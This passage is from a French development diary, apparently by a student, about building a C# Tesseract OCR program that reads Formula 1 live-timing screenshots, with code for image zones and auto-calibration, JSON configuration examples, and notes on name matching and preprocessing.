programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage ; private List < Zone > Zones ; private List < Window > Windows ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Zone ( Image fullImage , Rectangle bounds ) { FullImage = ( Bitmap ) fullImage ; Init ( bounds ); } public Zone ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Init ( bounds ); } private void Init ( Rectangle bounds ) { Bounds = bounds ; Zones = new List < Zone >(); Windows = new List < Window >(); } public void AddZone ( Rectangle bounds ) { if ( Fits ( bounds )) Zones . Add ( new Zone ( ZoneImage , bounds )); } public void AddWindow ( Rectangle bounds ) { if ( Fits ( bounds )) Windows . Add ( new Window ( ZoneImage , bounds )); } private bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace OCR_tester { public class Window { private Bitmap FullImage ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Window ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Bounds = bounds ; } public virtual void RecoverInformations () { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); Zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . tessDataFolder . FullName , \"eng\" , EngineMode . Default ); Image image = ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); Zones . Add ( new Zone ( ZoneImage , windowRectangle )); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning. Mardi 4 Avril Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\" :{ \"x\" : 10 , \"y\" : 20 , \"width\" : 1450 , \"height\" : 1340 , \"DriverZone\" :{ \"x\" : 0 , \"y\" : 23 , \"height\" : 25 , \"Windows\" :[ { \"DriverPositionWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 35 } }, { \"DriverPositionChangesWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\" : { \"x\" : 40 , \"y\" : 230 , \"width\" : 1845 , \"height\" : 719 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : 3 , \"width\" : 1845 , \"height\" : 35 , \"Windows\" : [ { \"Position\" : { \"x\" : 2 , \"y\" : 0 , \"width\" : 32 }, \"GapToLeader\" : { \"x\" : 204 , \"y\" : 0 , \"width\" : 96 }, \"LapTime\" : { \"x\" : 413 , \"y\" : 0 , \"width\" : 105 }, \"Drs\" : { \"x\" : 526 , \"y\" : 0 , \"width\" : 81 }, e t c... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\" : { \"x\" : 37 , \"y\" : 238 , \"width\" : 1851 , \"height\" : 713 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -5 , \"width\" : 1851 , \"height\" : 35 } } ] }, \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , e t c... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive. Mercredi 5 Avril Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Hamilton\" , \"Alonso\" , \"Russel\" , \"Gasly\" , \"Stroll\" , \"Sainz\" , \"Hulkenberg\" , \"Norris\" , \"Tsunoda\" , \"Piastri\" , \"Zhou\" , \"Ocon\" , \"Magnussen\" , \"Perez\" , \"Sargeant\" , \"De Vries\" , \"Bottas\" , \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Sainz\" , \"Perez\" , \"Hamilton\" , \"Russel\" , \"Magnussen\" , \"Gasly\" , \"Ocon\" , \"Alonso\" , \"Tsunoda\" , \"Bottas\" , \"Zhou\" , \"Albon\" , \"Stroll\" , \"Schumacher\" , \"Hulkenberg\" , \"Norris\" , \"Latifi\" , \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine. Jeudi 6 Avril Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard. Vendredi 6 Avril 2023 Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de 